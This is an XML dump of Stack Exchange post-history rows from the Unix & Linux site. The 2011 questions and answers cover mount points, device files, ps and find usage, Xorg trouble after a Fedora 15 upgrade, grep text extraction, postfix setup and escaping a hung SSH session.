[/media](http://www.pathname.com/fhs/pub/fhs-2.3.html#MEDIAMOUNTPOINT) and [/mnt](http://www.pathname.com/fhs/pub/fhs-2.3.html#MNTMOUNTPOINTFORATEMPORARILYMOUNT) should be used according to the [Filesystem Hierarchy Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard). I do this pretty incorrectly, opting to use /media when in fact I should be using /mnt, most of the time. It's also worth noting that an internal HDD with associated partitions may be referred to, somewhat confusingly, removeable media.&#xD;&#xA;&#xD;&#xA;I'm on OS X here so I can't check right now (BSD does things slightly differently regarding optical drives) but /dev/cdrom is a device file for your CD-ROM. As is /dev/cdrw. See the '-&gt;' in the `ls -l` output in your question? That's indicating that both /dev/cdrom and /dev/cdrw are [symbolically linked](http://en.wikipedia.org/wiki/Symlink) to /dev/sr0. '[sr](http://tldp.org/HOWTO/SCSI-2.4-HOWTO/sr.html)' is the device driver name; 'sr0' is the device file name.&#xD;&#xA;&#xD;&#xA;/media/Ubuntu 11.04 i386 is simply an .iso image that has been auto-mounted at /media.&#xD;&#xA;&#xD;&#xA;I hope that helps a bit." />
  <row Id="34950" PostHistoryTypeId="5" PostId="13969" RevisionGUID="e84b3587-c9d2-4c88-9117-848a3be9ef2b" CreationDate="2011-05-29T05:26:08.607" UserId="1925" Comment="Fixed English and formatted for clarity. Moved extended answer from comments to answer." Text="Why use `ps` when you can do it easily with the `top` command?&#xD;&#xA;&#xD;&#xA;If you must use `ps`, try this:&#xD;&#xA;&#xD;&#xA;    ps aux | sort -kr 3,3 | head -n 5" />
  <row Id="34951" PostHistoryTypeId="5" PostId="13979" RevisionGUID="dc490d4a-452c-4ff9-a5a5-cb00b3aa00a2" CreationDate="2011-05-29T06:08:25.463" UserId="2421" Comment="added 198 characters in body" Text="    find -iname '*.xml'&#xD;&#xA;&#xD;&#xA;Otherwise, your shell expands `*.xml` to `XYZ.xml`, and the command that actually gets executed is&#xD;&#xA;&#xD;&#xA;    find -iname XYZ.xml&#xD;&#xA;&#xD;&#xA;The reason it works if there are no XML files in the current directory is that shells generally leave wildcards unexpanded if they don't match anything.  In general, any time you want wildcards to be expanded by a program other than the shell (e.g. by `find`, `tar`, `scp`, etc.) you need to quote them so the shell won't try to expand them itself." />
  <row Id="34952" PostHistoryTypeId="25" PostId="13977" RevisionGUID="844ba8cc-dc3a-454f-a17c-ff977c1dc54b" CreationDate="2011-05-29T06:13:16.580" Comment="http://twitter.com/#!/StackUnix/status/74719938635513856" />
  <row Id="34953" PostHistoryTypeId="2" PostId="13981" RevisionGUID="517ef094-4793-4634-8784-7479af7a2f43" CreationDate="2011-05-29T06:14:04.387" UserId="1925" Text="The [answer from boehj][1] explains the basics pieces in play here. The one thing I would add is about the difference between a device and a mounted file system. The fact of the matter is that you *can* access a device node directly. For example you could use `dd if=/dev/sda of=/dev/sdb` to make your second ATA device an exact copy of the first one, or you can `cat /dev/sr0 &gt; mycd.iso` to rip a CD and make an iso image of it.&#xD;&#xA;&#xD;&#xA;The difference is that when you mount a device to a location, you create a path in your directory structure that accesses the device using a file system driver. The file system driver handles things all the special things that need to happen like caching, indexing, seeking, etc in order for your raw drive device to appear to you with all the conveniences of a file system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13975/questions-about-mount-and-device/13980#13980" />
  <row Id="34954" PostHistoryTypeId="2" PostId="13982" RevisionGUID="c6db8f25-a201-47cc-94a6-5a1bfae9cce3" CreationDate="2011-05-29T06:59:33.427" UserId="1594" Text="Right now it appears on whatever screen the app I'm switching from is located. If I while alt-tabbing I accidentally stop on my radio player, located on my alt screen, it's most annoying." />
  <row Id="34955" PostHistoryTypeId="1" PostId="13982" RevisionGUID="c6db8f25-a201-47cc-94a6-5a1bfae9cce3" CreationDate="2011-05-29T06:59:33.427" UserId="1594" Text="Can I make alt-tab window always appear on the primary screen?" />
  <row Id="34956" PostHistoryTypeId="3" PostId="13982" RevisionGUID="c6db8f25-a201-47cc-94a6-5a1bfae9cce3" CreationDate="2011-05-29T06:59:33.427" UserId="1594" Text="éaltötabà" />
  <row Id="34957" PostHistoryTypeId="2" PostId="13983" RevisionGUID="4da347f2-8e61-4434-a2b4-fd1b047f4fea" CreationDate="2011-05-29T07:15:44.060" UserId="1131" Text="The `/run` directory is the companion directory to `/var/run`. Like for example `/bin` is the companion of `/usr/bin`.&#xD;&#xA;&#xD;&#xA;That means that daemons like `systemd` and `udev`, which are started very early in the boot process - and perhaps before `/var/run` is available (i.e. mounted) - have with `/run` a standardized file system location available, where they can store runtime information.&#xD;&#xA;&#xD;&#xA;Like `/bin` contains important programs, which may be needed in the boot process before `/usr` is available (because it is on its own filesystem).&#xD;&#xA;&#xD;&#xA;The `/run` idea is a relatively new idea/standard, one [supporter is the the developer of systemd][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://article.gmane.org/gmane.linux.redhat.fedora.devel/146976" />
  <row Id="34958" PostHistoryTypeId="5" PostId="13969" RevisionGUID="640e9b10-c055-450a-bcca-3950958238af" CreationDate="2011-05-29T08:20:42.697" UserId="7870" Comment="edited body" Text="Why use `ps` when you can do it easily with the `top` command?&#xD;&#xA;&#xD;&#xA;If you must use `ps`, try this:&#xD;&#xA;&#xD;&#xA;    ps aux | sort -kr 3,3 | head -n 6" />
  <row Id="34959" PostHistoryTypeId="2" PostId="13984" RevisionGUID="79cdeb70-c892-4bb1-9766-d0005e9f22f3" CreationDate="2011-05-29T08:34:11.787" UserId="4949" Text="Building on boehj's answer, `mount` is used behind the scenes at boot time to check in `/etc/fstab` to see where each existing partition that it's supposed to know about should be mounted into the actual filesystem.&#xD;&#xA;&#xD;&#xA;Unlike with - for instance - Windows, where you don't get much of a choice beyond what drive letter a partition gets, this allows *any* device or partition to be mounted *anywhere* in the filesystem tree if you so wish -- for example, university network computers would typically only have `/bin/` and `/lib` and a few temporary partitions mounted locally, while `/usr/` (containing almost all of the software that isn't required during the boot phase) and `/home/` (containing all users' home directories) would be mounted from a centrally accessible NFS server. &#xD;&#xA;&#xD;&#xA;It's also responsible for quietly mounting various temporary and virtual filesystems such as `/dev/shm/`, `/sys/`, `/dev/pts/`, and on more modern systems `/run/`. Chances are you'll rarely if ever do anything directly with these, but a lot of software relies on these to exist behind the scenes.  Take a look at the output of the bare `mount` command, or in `/etc/fstab` -- you might learn something interesting." />
  <row Id="34960" PostHistoryTypeId="2" PostId="13985" RevisionGUID="237cfc63-fec6-4920-9607-596c96c6c1ba" CreationDate="2011-05-29T08:39:22.863" UserId="4949" Text="I've become a very avid fan of [handbrake][1] - which comes in windows and linux flavors, with or without GUI - mostly because when I rip DVDs it's generally to load the movies onto my iPad, and handbrake comes with a set of presets for exactly that purpose, but it supports pretty much every format known to it or the underlying transcode layer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://handbrake.fr/" />
  <row Id="34961" PostHistoryTypeId="25" PostId="13947" RevisionGUID="87af3de1-4a8a-4b9b-83fa-40f1de12302b" CreationDate="2011-05-29T09:13:17.303" Comment="http://twitter.com/#!/StackUnix/status/74765240071491585" />
  <row Id="34962" PostHistoryTypeId="2" PostId="13986" RevisionGUID="ad329f94-7cea-4633-afd3-d3c215ba5080" CreationDate="2011-05-29T09:32:19.860" UserId="4761" Text="Hi guys.&#xD;&#xA;&#xD;&#xA;I just upgraded from F13 to F15 using the Installation DVD and it looked all went fine. When I first booted into F15, gdm was having troubles starting up. I tried removing Xorg and reinstalled and issued `Xorg -configure`. It came up with `Screens found, but none have usable configution. FATAL ERROR: No screens found`&#xD;&#xA;&#xD;&#xA;**Attachments:**&#xD;&#xA; &#xD;&#xA;[`Xorg.0.log`](http://pastie.org/1988127) - Error log&#xD;&#xA;&#xD;&#xA;[`/root/xorg.conf.new`](http://pastie.org/1988131) - file created when doing `Xorg -configure`. &#xD;&#xA;&#xD;&#xA;[`/etc/X11/xorg.conf`](http://pastie.org/1988133) - My old `xorg.conf` file I was using for my Intel card. Originally got from the Nvidia Proprietary installer.&#xD;&#xA;&#xD;&#xA;I'm curious about these lines&#xD;&#xA;&#xD;&#xA;    [   117.519] (II) Loading /usr/lib/xorg/modules/drivers/vesa_drv.so&#xD;&#xA;    [   117.519] Refusing to touch device with a bound kernel driver&#xD;&#xA;    [   117.519] (WW) Falling back to old probe method for vesa&#xD;&#xA;&#xD;&#xA;I just want to know if this can be corrected, before I go do a fresh install. I never thought Upgrade would be such a pain in the bottom. TIA!&#xD;&#xA;" />
  <row Id="34963" PostHistoryTypeId="1" PostId="13986" RevisionGUID="ad329f94-7cea-4633-afd3-d3c215ba5080" CreationDate="2011-05-29T09:32:19.860" UserId="4761" Text="X problems on Fedora 15" />
  <row Id="34964" PostHistoryTypeId="3" PostId="13986" RevisionGUID="ad329f94-7cea-4633-afd3-d3c215ba5080" CreationDate="2011-05-29T09:32:19.860" UserId="4761" Text="éfedoraàéxorgàéupgradeà" />
  <row Id="34965" PostHistoryTypeId="5" PostId="13986" RevisionGUID="7239c479-ec29-4a07-8ac0-e2bb784dbc59" CreationDate="2011-05-29T09:37:31.493" UserId="4761" Comment="Edited description." Text="Hi guys.&#xD;&#xA;&#xD;&#xA;I just upgraded from F13 to F15 using the Installation DVD and it looked all went fine. When I first booted into F15, gdm was having troubles starting up. I tried removing Xorg and reinstalled and issued `Xorg -configure`. It came up with `Screens found, but none have usable configuration. FATAL ERROR: No screens found`&#xD;&#xA;&#xD;&#xA;**Attachments:**&#xD;&#xA; &#xD;&#xA;[`Xorg.0.log`](http://pastie.org/1988127) - Error log&#xD;&#xA;&#xD;&#xA;[`/root/xorg.conf.new`](http://pastie.org/1988131) - file created when doing `Xorg -configure`. &#xD;&#xA;&#xD;&#xA;[`/etc/X11/xorg.conf`](http://pastie.org/1988133) - My old `xorg.conf` file I was using for my Intel card. Originally got from the Nvidia Proprietary installer.&#xD;&#xA;&#xD;&#xA;I'm curious about these lines&#xD;&#xA;&#xD;&#xA;    [   117.519] (II) Loading /usr/lib/xorg/modules/drivers/vesa_drv.so&#xD;&#xA;    [   117.519] Refusing to touch device with a bound kernel driver&#xD;&#xA;    [   117.519] (WW) Falling back to old probe method for vesa&#xD;&#xA;&#xD;&#xA;I just want to know if this can be corrected, before I go do a fresh install. I never thought Upgrade would be such a pain in the bottom. TIA!&#xD;&#xA;" />
  <row Id="34970" PostHistoryTypeId="5" PostId="13986" RevisionGUID="6b1b58fd-2f0a-42de-93e3-989a83bf6d69" CreationDate="2011-05-29T10:09:12.980" UserId="4761" Comment="added 649 characters in body" Text="Hi guys.&#xD;&#xA;&#xD;&#xA;I just upgraded from F13 to F15 using the Installation DVD and it looked all went fine. When I first booted into F15, gdm was having troubles starting up. I tried removing Xorg and reinstalled and issued `Xorg -configure`. It came up with `Screens found, but none have usable configuration. FATAL ERROR: No screens found`&#xD;&#xA;&#xD;&#xA;**Attachments:**&#xD;&#xA; &#xD;&#xA;[`Xorg.0.log`](http://pastie.org/1988127) - Error log&#xD;&#xA;&#xD;&#xA;[`/root/xorg.conf.new`](http://pastie.org/1988131) - file created when doing `Xorg -configure`. &#xD;&#xA;&#xD;&#xA;[`/etc/X11/xorg.conf`](http://pastie.org/1988133) - My old `xorg.conf` file I was using for my Intel card. Originally got from the Nvidia Proprietary installer.&#xD;&#xA;&#xD;&#xA;I'm curious about these lines&#xD;&#xA;&#xD;&#xA;    [   117.519] (II) Loading /usr/lib/xorg/modules/drivers/vesa_drv.so&#xD;&#xA;    [   117.519] Refusing to touch device with a bound kernel driver&#xD;&#xA;    [   117.519] (WW) Falling back to old probe method for vesa&#xD;&#xA;&#xD;&#xA;I just want to know if this can be corrected, before I go do a fresh install. I never thought Upgrade would be such a pain in the bottom. TIA!&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I just found these line in my `dmesg`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [    5.144255] systemd[1]: /usr appears to be on a different file system than /.&#xD;&#xA;    This is not supported anymore. Some things will probably break (sometimes even silently) in mysterious ways. Consult &#xD;&#xA;    http://freedesktop.org/wiki/Software/systemd/separate-usr-is-broken for more information.&#xD;&#xA;&#xD;&#xA;and the above link mentions there are 23 obvious cases during an F15 install. &#xD;&#xA;&#xD;&#xA;Could this be a reason for my X Problems? If so, how do I merge my `/usr` back to `/`?&#xD;&#xA;&#xD;&#xA;The [complete dump of `dmesg`](http://pastebin.com/ajgjku1z), just in case it happens to give you enough clues.&#xD;&#xA;" />
  <row Id="34971" PostHistoryTypeId="2" PostId="13988" RevisionGUID="2fd2ba07-85f9-46c9-9d02-b4b55d059f93" CreationDate="2011-05-29T10:25:08.223" UserId="1131" Text="I puzzled a bit around what would be the enumeration scheme on my systems and I've came up with following algorithm:&#xD;&#xA;&#xD;&#xA;The /dev/sdY devices are created in the same order as the ataX are enumerated in the `kern.log` and ignoring non-disk devices (ATAPI) and not-connected links.&#xD;&#xA;&#xD;&#xA;Thus, following command displays the mapping:&#xD;&#xA;&#xD;&#xA;    $ grep '^May 28 2'  /var/log/kern.log.0  | \&#xD;&#xA;       grep 'ata[0-9]\+.[0-9][0-9]: ATA-' | \&#xD;&#xA;       sed 's/^.*\] ata//' | \&#xD;&#xA;       sort -n | sed 's/:.*//' | \&#xD;&#xA;       awk ' { a=&quot;ata&quot; $1; printf(&quot;%10s is /dev/sd%c\n&quot;, a, 96+NR); }'&#xD;&#xA;    ata1.00 is /dev/sda&#xD;&#xA;    ata3.00 is /dev/sdb&#xD;&#xA;    ata5.00 is /dev/sdc&#xD;&#xA;    ata7.00 is /dev/sdd&#xD;&#xA;    ata8.00 is /dev/sde&#xD;&#xA;    ata10.00 is /dev/sdf&#xD;&#xA;&#xD;&#xA;(Note, that ata4 is not displayed because the above log messages are from another system)&#xD;&#xA;&#xD;&#xA;I am using `/var/log/kern.log.0` and not `/var/log/kern.log` because the boot messages are already rotated. I grep for `May 28 2` because this was the last boot time and I want to ignore previous messages.&#xD;&#xA;&#xD;&#xA;To verify the mapping you can do some checks via looking at the output of:&#xD;&#xA;&#xD;&#xA;    $ grep '^May 28 2'  /var/log/kern.log.0  | \&#xD;&#xA;    grep 'ata[0-9]\+.[0-9][0-9]: ATA-'&#xD;&#xA;    May 28 20:43:26 hn kernel: [    1.260488] ata1.00: ATA-7: SAMSUNG SV0802N, max UDMA/100&#xD;&#xA;    May 28 20:43:26 hn kernel: [    1.676400] ata5.00: ATA-5: ST380021A, 3.19, max UDMA/10&#xD;&#xA;    [..]&#xD;&#xA;&#xD;&#xA;And comparing this output with `hdparm` output, e.g.:&#xD;&#xA;&#xD;&#xA;    $ hdparm -i /dev/sda&#xD;&#xA;    &#xD;&#xA;    /dev/sda:&#xD;&#xA;    &#xD;&#xA;    Model=SAMSUNG SV0802N [..]&#xD;&#xA;&#xD;&#xA;(using Kernel 2.6.32-31)&#xD;&#xA;&#xD;&#xA;I am still interested in alternative solutions, e.g. in a solution which does not need to access the kernel log (perhaps using some information from the `/sys` tree or something like this)." />
  <row Id="34976" PostHistoryTypeId="2" PostId="13990" RevisionGUID="3b14bd97-80bc-4193-9478-a8b6661878e5" CreationDate="2011-05-29T11:15:32.417" UserId="7879" Text="I need have put 0 on the results of my grep so my script format will be fine and i don't have any idea how to do it. here's my grep result :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;261 : 261 = 0 | 1192 : 1184 = 8 | &#xD;&#xA;&#xD;&#xA;283 : 283 = 0 | 666 : 659 = 7 | &#xD;&#xA;&#xD;&#xA;267 : 267 = 0 | 631 : 620 = 11 | &#xD;&#xA;&#xD;&#xA;283 : 283 = 0 | 787 : 781 = 6 | &#xD;&#xA;&#xD;&#xA;278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;&#xD;&#xA;**i wish to output something like this :**&#xD;&#xA;&#xD;&#xA;261 : 261 = 000  | 1192 : 1184 = 0008 | &#xD;&#xA; &#xD;&#xA;283 : 283 =  000  | 0666 : 0659 = 0007 | &#xD;&#xA;&#xD;&#xA;267 : 267 =  000  | 0631 : 0620 = 0011 | &#xD;&#xA;&#xD;&#xA;283 : 283 =  000  | 0787 : 0781 = 0006 | &#xD;&#xA;&#xD;&#xA;278 : 279 = -001  | 0963 : 0957 = 0006 |&#xD;&#xA;&#xD;&#xA;**to get that result here is my script :**&#xD;&#xA;&#xD;&#xA;count100=`grep -ach &quot;0100 $GivenBIN&quot; $line`&#xD;&#xA;&#xD;&#xA;count110=`grep -ach &quot;0110 $GivenBIN&quot; $line`&#xD;&#xA;&#xD;&#xA;filename=`echo $line | awk -F&quot;/&quot; '{print $NF}'`&#xD;&#xA;&#xD;&#xA;echo -e &quot;$filename     $count100 : $count110 = $ans1| $count220 : $count230 = $ans4 |&quot; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="34977" PostHistoryTypeId="1" PostId="13990" RevisionGUID="3b14bd97-80bc-4193-9478-a8b6661878e5" CreationDate="2011-05-29T11:15:32.417" UserId="7879" Text="pad a number with zeroes" />
  <row Id="34978" PostHistoryTypeId="3" PostId="13990" RevisionGUID="3b14bd97-80bc-4193-9478-a8b6661878e5" CreationDate="2011-05-29T11:15:32.417" UserId="7879" Text="égrepàéawkàéprintingà" />
  <row Id="34979" PostHistoryTypeId="2" PostId="13991" RevisionGUID="9b2e395e-c401-40fa-8a9e-82eb8314c01f" CreationDate="2011-05-29T11:18:41.723" UserId="4671" Text="First, congratulations on very complete diagnostics information. You say you were using the Nvidia proprietary drivers, but your old /etc/X11/xorg.conf shows `Driver         &quot;vesa&quot;`. Also, the new X log is not showing that your system has anything but vesa available. Do you *have* other drivers available? Note that it is normally necessary to build the proprietary Nvidia drivers for your specific kernel, as the would break on an upgrade." />
  <row Id="34980" PostHistoryTypeId="5" PostId="13991" RevisionGUID="b6e7b2b4-4641-4b27-8083-dec26b7bbea9" CreationDate="2011-05-29T11:24:19.760" UserId="4671" Comment="added 233 characters in body; added 277 characters in body" Text="First, congratulations on very complete diagnostics information. You say you were using the Nvidia proprietary drivers, but your old /etc/X11/xorg.conf shows `Driver         &quot;vesa&quot;`. Also, the new X log is not showing that your system has anything but vesa available. Do you *have* other drivers available? Note that it is normally necessary to build the proprietary Nvidia drivers for your specific kernel, as the would break on an upgrade.&#xD;&#xA;&#xD;&#xA;The warning&#xD;&#xA;&#xD;&#xA;&gt; /usr appears to be on a different file system than /.&#xD;&#xA;&#xD;&#xA;may be coming from systemd, not X. Do you have that installed? See http://cgit.freedesktop.org/systemd/commit/?id=80758717a6359cbe6048f43a17c2b53a3ca8c2fa.&#xD;&#xA;&#xD;&#xA;The warning&#xD;&#xA;&#xD;&#xA;&gt; Refusing to touch device with a bound kernel driver&#xD;&#xA;&#xD;&#xA;is vesa-specific. See&#xD;&#xA;http://cgit.freedesktop.org/xorg/driver/xf86-video-vesa/commit/?id=b1f7f190f9d4f2ab63d3e9ade3e7e04bb4b1f89f&#xD;&#xA;&#xD;&#xA;Again, you don't want to use vesa, except as an emergency fallback." />
  <row Id="34981" PostHistoryTypeId="5" PostId="13991" RevisionGUID="1557385b-e66e-4e82-a63b-bfb1e1cda970" CreationDate="2011-05-29T11:38:51.667" UserId="4671" Comment="added 186 characters in body; deleted 3 characters in body; added 5 characters in body; deleted 16 characters in body" Text="First, congratulations on very complete diagnostics information. Your old /etc/X11/xorg.conf shows that you were using the `vesa` driver. You don't want to do that. Also, the X log shows X could not find anything but the `vesa` driver. Check what driver supports your Intel card (I don't see that explicitly mentioned anywhere) and make sure that driver is installed. Or just install all drivers, and these days, X will likely autodetect the card. Feel free to add the card information if you want. If you don't know what it is, `lspci` will likely show it.&#xD;&#xA;&#xD;&#xA;The warning&#xD;&#xA;&#xD;&#xA;&gt; /usr appears to be on a different file system than /.&#xD;&#xA;&#xD;&#xA;is coming from `systemd`, which you have installed, judging by dmesg. See http://cgit.freedesktop.org/systemd/commit/?id=80758717a6359cbe6048f43a17c2b53a3ca8c2fa.&#xD;&#xA;&#xD;&#xA;No, this has nothing to do with your X problems. The warning&#xD;&#xA;&#xD;&#xA;&gt; Refusing to touch device with a bound kernel driver&#xD;&#xA;&#xD;&#xA;is vesa-specific. See&#xD;&#xA;http://cgit.freedesktop.org/xorg/driver/xf86-video-vesa/commit/?id=b1f7f190f9d4f2ab63d3e9ade3e7e04bb4b1f89f&#xD;&#xA;&#xD;&#xA;Again, you don't want to use vesa, except as an emergency fallback." />
  <row Id="34982" PostHistoryTypeId="5" PostId="13991" RevisionGUID="1be4a1e6-82b8-4aa9-acf6-5ee9f39659cc" CreationDate="2011-05-29T11:43:57.020" UserId="4671" Comment="added 16 characters in body" Text="First, congratulations on very complete diagnostics information. Your old /etc/X11/xorg.conf shows that you were using the `vesa` driver. You don't want to do that. Also, the X log shows X could not find anything but the `vesa` driver. Check what driver supports your Intel card (I don't see the card information explicitly mentioned anywhere) and make sure that driver is installed. Or just install all drivers, and these days, X will likely autodetect the card. Feel free to add the card information if you want. If you don't know what it is, `lspci` will likely show it.&#xD;&#xA;&#xD;&#xA;The warning&#xD;&#xA;&#xD;&#xA;&gt; /usr appears to be on a different file system than /.&#xD;&#xA;&#xD;&#xA;is coming from `systemd`, which you have installed, judging by dmesg. See http://cgit.freedesktop.org/systemd/commit/?id=80758717a6359cbe6048f43a17c2b53a3ca8c2fa.&#xD;&#xA;&#xD;&#xA;No, this has nothing to do with your X problems. The warning&#xD;&#xA;&#xD;&#xA;&gt; Refusing to touch device with a bound kernel driver&#xD;&#xA;&#xD;&#xA;is vesa-specific. See&#xD;&#xA;http://cgit.freedesktop.org/xorg/driver/xf86-video-vesa/commit/?id=b1f7f190f9d4f2ab63d3e9ade3e7e04bb4b1f89f&#xD;&#xA;&#xD;&#xA;Again, you don't want to use vesa, except as an emergency fallback." />
  <row Id="34983" PostHistoryTypeId="25" PostId="13990" RevisionGUID="98d4d16e-145a-49b3-9e48-f235cdd35a19" CreationDate="2011-05-29T12:13:17.387" Comment="http://twitter.com/#!/StackUnix/status/74810538378543104" />
  <row Id="34984" PostHistoryTypeId="2" PostId="13992" RevisionGUID="d6d11746-0aa3-4e7e-b093-acab78cccbcf" CreationDate="2011-05-29T12:26:55.400" UserId="1389" Text="I am working with the text of the [300 tang poems][1], which unfortunately is a single file containing both Chinese and English. Since I am interested in 'extracting' the English, I hope to use `sed, grep, `or` tr` to simply return all lines that contain Latin characters. So, for example, this text:&#xD;&#xA;&#xD;&#xA;&lt;!--language: lang-none--&gt;&#xD;&#xA;&#xD;&#xA;    051&#xD;&#xA;    七言古詩&#xD;&#xA;    李頎&#xD;&#xA;    聽安萬善吹觱篥歌&#xD;&#xA;    &#xD;&#xA;    南山截竹為觱篥， 此樂本自龜茲出。 &#xD;&#xA;    流傳漢地曲轉奇， 涼州胡人為我吹； &#xD;&#xA;    傍鄰聞者多歎息， 遠客思鄉皆淚垂。 &#xD;&#xA;    世人解聽不解賞， 長飆風中自來往。 &#xD;&#xA;    枯桑老柏寒颼飀， 九雛鳴鳳亂啾啾。 &#xD;&#xA;    龍吟虎嘯一時發， 萬籟百泉相與秋。 &#xD;&#xA;    忽然更作漁陽摻， 黃雲蕭條白日暗。 &#xD;&#xA;    變調如聞楊柳春， 上林繁花照眼新。 &#xD;&#xA;    歲夜高堂列明燭， 美酒一杯聲一曲。&#xD;&#xA;    &#xD;&#xA;    Seven-character-ancient-verse&#xD;&#xA;    Li Qi&#xD;&#xA;    ON HEARING AN WANSHAN PLAY THE REED-PIPE&#xD;&#xA;    &#xD;&#xA;    Bamboo from the southern hills was used to make this pipe. &#xD;&#xA;    And its music, that was introduced from Persia first of all, &#xD;&#xA;    Has taken on new magic through later use in China. &#xD;&#xA;    And now the Tartar from Liangzhou, blowing it for me, &#xD;&#xA;    Drawing a sigh from whosoever hears it, &#xD;&#xA;    Is bringing to a wanderer's eyes homesick tears.... &#xD;&#xA;    Many like to listen; but few understand. &#xD;&#xA;    To and fro at will there's a long wind flying, &#xD;&#xA;    Dry mulberry-trees, old cypresses, trembling in its chill. &#xD;&#xA;    There are nine baby phoenixes, outcrying one another; &#xD;&#xA;    A dragon and a tiger spring up at the same moment; &#xD;&#xA;    Then in a hundred waterfalls ten thousand songs of autumn &#xD;&#xA;    Are suddenly changing to The Yuyang Lament; &#xD;&#xA;    And when yellow clouds grow thin and the white sun darkens, &#xD;&#xA;    They are changing still again to Spring in the Willow Trees. &#xD;&#xA;    Like Imperial Garden flowers, brightening the eye with beauty, &#xD;&#xA;    Are the high-hall candles we have lighted this cold night, &#xD;&#xA;    And with every cup of wine goes another round of music.&#xD;&#xA;&#xD;&#xA;I would like a command that returns only the line 051, skips the Chinese, then returns the line 'seven character ancient verse' and everything following.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://etext.virginia.edu/chinese/tangeng.html&#xD;&#xA;" />
  <row Id="34985" PostHistoryTypeId="1" PostId="13992" RevisionGUID="d6d11746-0aa3-4e7e-b093-acab78cccbcf" CreationDate="2011-05-29T12:26:55.400" UserId="1389" Text="sed, grep, or tr command that returns only Latin characters from a UTF-8 file" />
  <row Id="34986" PostHistoryTypeId="3" PostId="13992" RevisionGUID="d6d11746-0aa3-4e7e-b093-acab78cccbcf" CreationDate="2011-05-29T12:26:55.400" UserId="1389" Text="égrepàésedàéregexà" />
  <row Id="34987" PostHistoryTypeId="2" PostId="13993" RevisionGUID="66388438-872f-49c2-9730-cbd9f9c1d7e6" CreationDate="2011-05-29T12:52:48.303" UserId="4142" Text="Why not just:&#xD;&#xA;&#xD;&#xA;    # grep -e &quot;[a-zA-Z0-9]\|^$&quot; file.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34988" PostHistoryTypeId="2" PostId="13994" RevisionGUID="36b299e9-d362-4d2b-b9b5-a1eb6badec42" CreationDate="2011-05-29T13:06:53.207" UserId="4142" Text="Installing fonts under &lt;code&gt;$HOME/.fonts&lt;/code&gt; directory is safer. &lt;code&gt;gnome-font-viewer&lt;/code&gt; has a nifty install button which does exactly that.&#xD;&#xA;&#xD;&#xA;If you want to install fonts system-wise, and in general before executing a &lt;code&gt;rm&lt;/code&gt; command inside a system directory, check if the file to be deleted is owned by some rpm package&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # rpm -qi --whatprovides /path/to/font.ttf&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34989" PostHistoryTypeId="2" PostId="13995" RevisionGUID="6a63aab4-55ba-4018-807b-9fa99b0cfbb5" CreationDate="2011-05-29T13:17:58.640" UserId="7881" Text="Hi All,&#xD;&#xA;&#xD;&#xA;Does anyone know what needs to be configured for postfix so that emails can be sent to localhost and received from localhost? &#xD;&#xA;&#xD;&#xA;**e.g.** send an email to user1@localhost will:&#xD;&#xA;&#xD;&#xA; - result in user1 receiving an email in their mail client (configured to receive local emails)&#xD;&#xA; - user1 can then respond to user2@localhost&#xD;&#xA; - Both user1 and user2 are configured on the same machine i.e. if there is no internet/network connection both these users can still send and receive to/from each other.&#xD;&#xA;&#xD;&#xA;The reason I ask is because I want to set this up for a dev environment so that I can test an application I am developing." />
  <row Id="34990" PostHistoryTypeId="1" PostId="13995" RevisionGUID="6a63aab4-55ba-4018-807b-9fa99b0cfbb5" CreationDate="2011-05-29T13:17:58.640" UserId="7881" Text="Configure postfix to send and receive to and from localhost" />
  <row Id="34991" PostHistoryTypeId="3" PostId="13995" RevisionGUID="6a63aab4-55ba-4018-807b-9fa99b0cfbb5" CreationDate="2011-05-29T13:17:58.640" UserId="7881" Text="éconfigurationàéhostsàélocalàépostfixà" />
  <row Id="34992" PostHistoryTypeId="2" PostId="13996" RevisionGUID="30fd4efd-5bf3-4f85-82de-147258df0355" CreationDate="2011-05-29T13:40:38.957" UserId="250" Text="Many times I have an SSH session that doesn't respond anymore (for example, when I lose internet connection and then reconnect). &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; and a zillion of key presses don't have any effect.&#xD;&#xA;&#xD;&#xA;Most of the time I already have `tmux` or `byobu` running already, so I can just start another terminal and reconnect. However it does feel cumbersome. How can I disconnect SSH from the current terminal?" />
  <row Id="34993" PostHistoryTypeId="1" PostId="13996" RevisionGUID="30fd4efd-5bf3-4f85-82de-147258df0355" CreationDate="2011-05-29T13:40:38.957" UserId="250" Text="How can I break away from an SSH session that has crashed?" />
  <row Id="34994" PostHistoryTypeId="3" PostId="13996" RevisionGUID="30fd4efd-5bf3-4f85-82de-147258df0355" CreationDate="2011-05-29T13:40:38.957" UserId="250" Text="ésshàéterminalà" />
  <row Id="34997" PostHistoryTypeId="2" PostId="13998" RevisionGUID="399fd1cc-59d6-462f-8931-d1aecd8f5bc8" CreationDate="2011-05-29T14:38:55.843" UserId="274" Text="Use the &quot;escape character&quot; (normally, the tilde `~`) to control an SSH session:&#xD;&#xA;&#xD;&#xA;* `~` followed by `.` closes the SSH connection;&#xD;&#xA;* `~` followed by Ctrol+Z suspends the SSH process;&#xD;&#xA;* `~` followed by another `~` sends a literal `~`.&#xD;&#xA;&#xD;&#xA;You can set the escape character using the `-e` option to &#xD;&#xA;[ssh](http://manpages.ubuntu.com/manpages/oneiric/en/man1/ssh.1.html)." />
